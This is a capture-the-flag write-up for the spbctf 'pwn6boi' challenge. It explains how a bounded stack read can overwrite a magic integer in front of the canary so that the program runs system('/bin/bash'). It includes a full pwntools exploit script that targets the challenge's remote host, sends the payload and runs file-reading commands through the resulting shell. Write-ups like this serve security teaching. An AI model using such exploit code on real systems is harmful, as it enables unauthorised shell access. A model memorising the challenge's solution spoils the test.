pwn6boi
pwn6boi
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: bounded_read_before_canary, magic_value_overwrite, state_variable_corruption
Summary
Task: NON-PIE x86-64 binary with a stack canary reads 0x58 bytes into a 0x60 buffer, stopping exactly before the canary; a magic int gate (0xbaaaaaad) selects system("/bin/bash") vs system("/bin/date"). Solution: overwrite only the magic int (offset 0x44) with 0xc001d00d without touching the canary, spawning an interactive shell to cat flag.txt.
pwn6boi — pwn_spbctf
Description
Flag is in flag.txt. Go grab it!
Category: Overflow (tier pwn6 "Добор"). Author: Vlad Roskov (@mrvos).
Remote: nc 109.233.56.90 11677 (pwn.spbctf.ru).
We are given a NON-PIE x86-64 ELF (boi.elf) with NX, Partial RELRO, a stack
canary, and symbols intact. The goal is to read flag.txt from the remote.
Analysis
checksec: NON-PIE (base 0x400000), NX enabled, Partial RELRO, STACK
CANARY present, not stripped.
main @ 0x400641 stack layout:
| Variable | Offset from rbp | Notes |
|---|---|---|
buf | rbp-0x60 | input buffer |
magic (int) | rbp-0x1c | initialized to 0xbaaaaaad |
| canary | rbp-0x8 | stack guard |
| |
Control flow:
puts("So, how cool are you???")read(0, buf=[rbp-0x60], 0x58)— reads 88 bytes.- If
magic == 0xc001d00d→run_cmd("/bin/bash" @0x40077c), elserun_cmd("/bin/date"). run_cmd(s)is justsystem(s).
Key observation — the canary is irrelevant here. The distance from buf
to magic is 0x60 - 0x1c = 0x44 = 68 bytes. The read length 0x58 = 88
bytes lets us reach and fully overwrite magic (which ends at offset
0x44 + 4 = 0x48), but the canary lives at offset 0x60 - 0x8 = 0x58. So the
read stops exactly before the canary — we can never smash it, and we don't
need to. We just flip the magic gate.
This is a bounded-read-before-canary design: the intended lesson is that you
do not always need to leak or defeat a canary. When the overflow is bounded to
stop right before the guard, you instead corrupt a state variable that sits
in front of it — here a magic-int gate that chooses which command system()
runs.
Solution
Build a payload of exactly 72 bytes: 68 bytes of padding to fill up to
magic, then the 4-byte little-endian value 0xc001d00d. This is <= 0x58
and does not reach the canary.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys, re HOST = "109.233.56.90" PORT = 11677 context.arch = "amd64" # buf @ rbp-0x60, magic @ rbp-0x1c -> offset 0x44 = 68 # overwrite magic with 0xc001d00d to spawn /bin/bash, canary untouched payload = b"A" * 0x44 + p32(0xc001d00d) assert len(payload) <= 0x58, len(payload) def attempt(): io = remote(HOST, PORT) io.recvuntil(b"how cool are you", timeout=10) io.send(payload) # interactive /bin/bash now running over the socket; keep stdin open io.sendline(b"id; ls -la; cat flag.txt; cat /flag; cat /flag.txt") try: data = io.recvall(timeout=8) except Exception: data = b"" io.close() return data for i in range(6): log.info("Attempt %d", i + 1) try: data = attempt() except Exception as e: log.warning("err: %s", e) time.sleep(35) continue sys.stdout.write(data.decode(errors="replace")) m = re.search(rb"spbctf\{[^}]*\}", data) if m: print("\n\n[+] FLAG: " + m.group(0).decode()) sys.exit(0) time.sleep(35)
After the payload, magic == 0xc001d00d, so run_cmd("/bin/bash") runs
system("/bin/bash") and gives an interactive shell over the socket (uid=6
man). Keeping stdin open, cat flag.txt (the flag lives in /) returns the
flag. Submit it via the platform POST flag (tile → "solved tile").